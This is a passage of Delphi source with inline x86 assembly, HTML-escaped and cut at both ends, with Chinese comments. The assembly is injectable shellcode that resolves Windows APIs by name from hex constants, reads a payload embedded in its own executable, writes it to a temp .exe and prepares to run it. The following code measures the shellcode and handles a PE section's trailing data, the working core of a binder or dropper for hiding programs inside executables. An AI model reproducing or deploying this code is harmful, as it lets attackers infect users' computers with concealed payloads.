;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$50656C69\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$746E696F\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$7265&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;edi\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$10]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[ebp&nbsp;+&nbsp;$24],&nbsp;eax&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u67e5\u627e&nbsp;GetTempPathA\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$54746547\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$50706D65\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$41687461\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;edi\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$10]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[ebp&nbsp;+&nbsp;$28],&nbsp;eax\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u67e5\u627eCloseHandle\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$736F6C43\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$6E614865\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$656C64\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;edi\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$10]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[ebp&nbsp;+&nbsp;$2C],&nbsp;eax\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u67e5\u627eWinExec\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$456E6957\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$636578\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;edi\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$10]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[ebp&nbsp;+&nbsp;$30],&nbsp;eax&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u83b7\u53d6\u6587\u4ef6\u540d\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$FF\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/lea&nbsp;eax,&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;DWORD&nbsp;PTR&nbsp;$0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$20]&nbsp;\/\/GetModuleFileName&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u6253\u5f00\u6587\u4ef6\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;OPEN_EXISTING\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;FILE_SHARE_READ\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;GENERIC_READ&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$14]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[ebp&nbsp;+&nbsp;$34],&nbsp;eax&nbsp;\/\/\u4fdd\u5b58\u6587\u4ef6\u53e5\u67c4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cmp&nbsp;eax,&nbsp;$FFFFFFFF&nbsp;&nbsp;\/\/\u6253\u5f00\u5931\u8d25\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;jz&nbsp;QUIT\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/SetFilePointer&nbsp;$30\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$30\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$34]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$24]&nbsp;\/\/SetFilePointer\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ReadFile&nbsp;ID\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;eax\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;eax\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$34]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$18]&nbsp;\/\/ReadFile&nbsp;ID\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cmp&nbsp;[eax],&nbsp;$88888888\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;jnz&nbsp;QUIT\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ReadFile&nbsp;Offset\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;eax\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;eax&nbsp;\/\/Offset\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$34]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$18]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ReadFile&nbsp;&nbsp;Size\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;eax\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;8\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;eax&nbsp;\/\/Size\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$34]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$18]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/SetFilePointer&nbsp;OffSet\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[eax]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$34]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$24]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;$C\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;eax\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$FF\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$28]&nbsp;\/\/TempPath\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;edx,[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;edx,&nbsp;$C&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;edx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$2E656d69\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$657865\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u6253\u5f00\u6587\u4ef6\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;CREATE_ALWAYS\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;GENERIC_WRITE\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;edx&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$14]&nbsp;&nbsp;\/\/CreateFile&nbsp;NewFile\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[ebp&nbsp;+&nbsp;$44],&nbsp;eax&nbsp;\/\/\u4fdd\u5b58\u6587\u4ef6\u53e5\u67c4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cmp&nbsp;eax,&nbsp;$FFFFFFFF\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;jz&nbsp;QUIT\n&nbsp;&nbsp;&nbsp;&nbsp;RE:&nbsp;\/\/ReadFile\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;eax\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$FF\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;$C\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;$FF\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;eax\/\/Buff\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$34]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$18]&nbsp;\/\/ReadFile\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/WriteFile\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;eax\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[eax]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;$C\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;$FF\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;&nbsp;eax\/\/Buff\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$44]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$1C]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cmp&nbsp;[eax],&nbsp;0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;jnz&nbsp;RE\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$44]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$2c]&nbsp;\/\/\u5173\u95ed\u65b0\u6587\u4ef6\u53e5\u67c4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$34]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$2c]&nbsp;\/\/\u5173\u95ed\u6587\u4ef6\u53e5\u67c4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u8fd0\u884c\u7a0b\u5e8f\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(\u8fd9\u91cc\u7701\u7565\u4e00\u90e8\u5206)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u91ca\u653e\u5185\u5b58&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$626F6C47\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$72466C61\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$6565\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;edi\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$10]&nbsp;&nbsp;\/\/GlobalFree\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$4C]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;eax\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;QUIT:&nbsp;&nbsp;mov&nbsp;esp,&nbsp;ebp\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;esp,&nbsp;$50\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;popad\n&nbsp;&nbsp;&nbsp;&nbsp;end;\n&nbsp;&nbsp;&nbsp;&nbsp;shellend:\n&nbsp;&nbsp;&nbsp;&nbsp;asm\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LEA&nbsp;EAX,shell\n&nbsp;&nbsp;&nbsp;&nbsp;MOV&nbsp;pShell,EAX;\n&nbsp;&nbsp;&nbsp;&nbsp;LEA&nbsp;EBX,shellend\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SUB&nbsp;EBX,EAX\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MOV&nbsp;nShellLen,EBX\n&nbsp;&nbsp;&nbsp;&nbsp;end;\n&nbsp;&nbsp;&nbsp;&nbsp;FileSize&nbsp;:=&nbsp;GetFileSize(F,&nbsp;nil);\n&nbsp;&nbsp;&nbsp;&nbsp;SetFilePointer(F,&nbsp;SEChea.PointerToRawData&nbsp;+&nbsp;SEChea.SizeOfRawData,&nbsp;nil,&nbsp;FILE_BEGIN);\n&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;FileSize&nbsp;&lt;&gt;&nbsp;SEChea.PointerToRawData&nbsp;+&nbsp;SEChea.SizeOfRawData&nbsp;then&nbsp;\/\/\u6709\u9644\u52a0\u6570\u636e\n&nbsp;&nbsp;&nbsp;&nbsp;begin\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u5c06\u9644\u52a0\u6570\u636e\u5199\u5165\u4e34\u65f6\u6587\u4ef6\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TempPath&nbsp;:=&nbsp;GetTempDir&nbsp;+&nbsp;&#39;{3B034D2C-A7B4-47D0-BA07-988E9359649D}&#39;;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;F1&nbsp;:=&nbsp;CreateFile(PChar(TempPath),&nbsp;GENERIC_WRITE,&nbsp;0,&nbsp;nil,&nbsp;CREATE_ALWAYS,&nbsp;0,&nbsp;0);\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;F1&nbsp;=&nbsp;INVALID_HANDLE_VALUE&nbsp;then&nbsp;Exit;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;repeat\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ReadFile(F,&nbsp;buf,&nbsp;sizeOf(buf),&nbsp;dReadNum,&nbsp;nil);\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WriteFile(F1,&nbsp;buf,&nbsp;dReadNum,&nbsp;dReadNum,&nbsp;nil);\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;until&nbsp;dReadNum&nbsp;=&nbsp;0;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;finally\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(F1);\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;\n&nbsp;&nbsp;&nbsp;&nbsp;end;\n&nbsp;&nbsp;&n